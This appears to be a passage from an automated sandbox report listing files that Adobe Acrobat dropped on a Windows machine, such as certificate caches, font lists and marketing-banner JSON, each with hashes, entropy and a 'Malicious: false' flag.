SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklwylM/tfllXlE/HT8ko1NNX8RolJuRdxLlGB9lQRYwpDdt:kKpf/eT8bNMa8RdWBwRd
MD5:	F46BB7F89E63322F8AE853285F236E8F
SHA1:	5CF8F6E59905E4BE1D0D8345AFAFAD3FCD42EEB6
SHA-256:	709A893D7654FA9B1CAE8239089F6CBE2BC48C6245A15151291CEB013C7C3224
SHA-512:	ACB88F2EF2CC75FB616146A017C2FA4358C5E8D6101ED3D348DA7E938EE9AEF955544678FB30210DD9FA3C9E6CBD340EF0B686D2BC4674276613277510EB84B6
Malicious:	false
Preview:	p...... ..........u..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKlcL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:NciDnLNkPlE99SNxAhUe/3
MD5:	BCA600976D4F3AC75DB09DFBF5C284E9
SHA1:	90979A17EC009D0D192154EC840F7B931F3962F8
SHA-256:	765949652380C281FFDCA282D3BDF389304C1BE8036F84679A344DB776E3C514
SHA-512:	D16EF11B1E7A358D224D892AF502D253EA726E357254B5FF2E365EA7E18CBFA04395BF706F9A8CB4CABF7B8FFE28AEFE729E98CEC08284AA01E7C13B9A270399
Malicious:	false
Preview:	p...... ........P...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7580

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7580

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.364936260755404
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJM3g98kUwPeUkwRe9:YvXKX1CXmsdTeOhnGMbLUkee9
MD5:	8E7F6919116E664B0EAEDD6918866BE9
SHA1:	57AC936DF46CE5BD22C4B9801D2B76CEE7661746
SHA-256:	D2CD7B5B22A83CBD4D4CCF78DCDC3B75DF44D09301CFC1902AFE6F51E17B8535
SHA-512:	11DCFF880EBDA7D916EBBABFC61C9EEA470766CC793C035E08D8F71D09E032C7B3C70A3828525250FCD2024F846289DAC96D6C88EE36DA441648BA4B2E611903
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298700989508153
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfBoTfXpnrPeUkwRe9:YvXKX1CXmsdTeOhnGWTfXcUkee9
MD5:	03A86FEFB109BC9C69F17521FEAB3DFD
SHA1:	CFA31B72E2B578C6018A5E9F9F9F794F4BC84721
SHA-256:	B9DE8BFCCD52397AD46EEFE7E7AE230204634C3FABE5D2E5D4E140DB6EEB1696
SHA-512:	775C21AAC69147F28930BB906D445A6202C275AB5BCAF62DD34C62A84C88A35E2B95462BDCE7FFA484C02237FC4791AC39472397A37A2FA7AC5C47F75D0D3006
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.276462059879979
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfBD2G6UpnrPeUkwRe9:YvXKX1CXmsdTeOhnGR22cUkee9
MD5:	3105C43EFC432A2528716BAA786981BC
SHA1:	3769E7E04865DEF619FBF3C299BA76A2DB3C33B9
SHA-256:	5AECD1FC9944DBB4748BAEA024A92BB048B45882D13C9B5B6286E2625BAB1BE1
SHA-512:	6E85CAA84CF0DB18D4EBD2EEC4B4295E4B80B59D7A421EF942B5BC08589D22101EF0F67E4C63D367E4FD8FD3440A77DEA61C4AF94BE20BAABE0BFCCD035D9BE6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.351869752486999
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfPmwrPeUkwRe9:YvXKX1CXmsdTeOhnGH56Ukee9
MD5:	05DE897B744B910CA12F4C137B5352D0
SHA1:	67D2BFA01CD1E25E7C110921AD8F5A784CA8276C
SHA-256:	757258D6043782B65D787CFEE81925D848ACC696604D1EC14CBDB9A17FE9DD6A
SHA-512:	833C182F8DD8711FA8DB52B3DF9730E0474340F99CC8B97F7F4BDCA5F669A59C2DF6095379F5DE54B449AE823C094B5A5249242D8655ECCED563B941137933C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685635674559005
Encrypted:	false
SSDEEP:	24:Yv6XoWmeOWpLgE9cQx8LennAvzBvkn0RCmK8czOCCSC:YvNehhgy6SAFv5Ah8cv/C
MD5:	C40ED65C6FC96E54EEE1AD32C535C76D
SHA1:	30AF7936920102767F2544FF619E63EE38A78B6F
SHA-256:	ABC47D97D12B59EC46F8EC4578B48239E0AD6CD31BD9875CE57718D5CE1B164B
SHA-512:	FC1DB7FFF2FB9CE4F0D351B52A4EE18E2754694B83C2595988B236C80D936C2AAF196ECBFD4363E7F2D3E6B5D3593C59C2B6CB90D3A7E5401D31F4A979CD2463
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28593686448104
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJf8dPeUkwRe9:YvXKX1CXmsdTeOhnGU8Ukee9
MD5:	74F79157AA7BC6C759B1F1029A9E9FF3
SHA1:	C7D67AC080D86C541C046937AFF829008E5E8AFF
SHA-256:	DF138E03A84BDE3F2B4A7D026F5468EC1B8C383C93DC727C0B65F8AB405D0A21
SHA-512:	D96E186903C8EFEB00F1B9102DAF57087C2FC5D1893369F08FFD666E0C369F661A0CA48CB8BD8B6D2E75D8D48FAF73732A0BD9846C8C089F1C8C9D50BBD6B9B9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.290272783769783
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfQ1rPeUkwRe9:YvXKX1CXmsdTeOhnGY16Ukee9
MD5:	43A8D1E77A586EA5495406DC09EFC92E
SHA1:	1088C592F64A5ED58A2EB4B0447570A29573CEED
SHA-256:	4957DE885D16B486E56FFF2641A7AF5AFAF2976CB796CCBCE6B536E592ED23A5
SHA-512:	12735B5FC0C850B13B92D5E7A03C540E969F787A06C5D448DF8C3074FB1B08641FC22C77896C5D32E189AE124DC335633A8BDE53E8A60DCE519D45D6EF222594
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306269001966102
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfFldPeUkwRe9:YvXKX1CXmsdTeOhnGz8Ukee9
MD5:	E013D6BA7DB7AA5552626D0415B221C1
SHA1:	E018FDF449A699E24CB5504E4667EB30F8F864DC
SHA-256:	2B851F7CDC9D567D18A61399FD1754555BDE3CE1533CFCB71590D313FC4496E4
SHA-512:	4F7E4B717F6B30C44287D317B25D580F44BDE9CA1FC6C6F6917D56252A642F8AE7CCD0CF981C23F85B14A82463B63444A4C68EE1CBB81A1EC82E46A53C0D33F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3129363342547515
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1dEqgQ2WsGiIPEeOF0YBUoAvJfzdPeUkwRe9:YvXKX1CXmsdTeOhnGb8Ukee9
MD5:	88192E2E3C0A0609314C41B0D504B64F
SHA1:	89795F11389317C2231464E31E346C29155E19B0
SHA-256:	6B7D4FE88299133EC0B82481416C0DF88B1919C84E83BE2DF456B147276D95CA
SHA-512:	26D68073AFAC17AEBA859F99F14DE773C79B72B3F4A9CDBA0BA20FC57F4D401C9C850CB938106CD8B709FF61C74698B348EA96D7EF8442DDD7D969847C9AAC79
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"95fdf3c7-eca5-40c0-b1d1-56aa21c697e0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736717496570,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

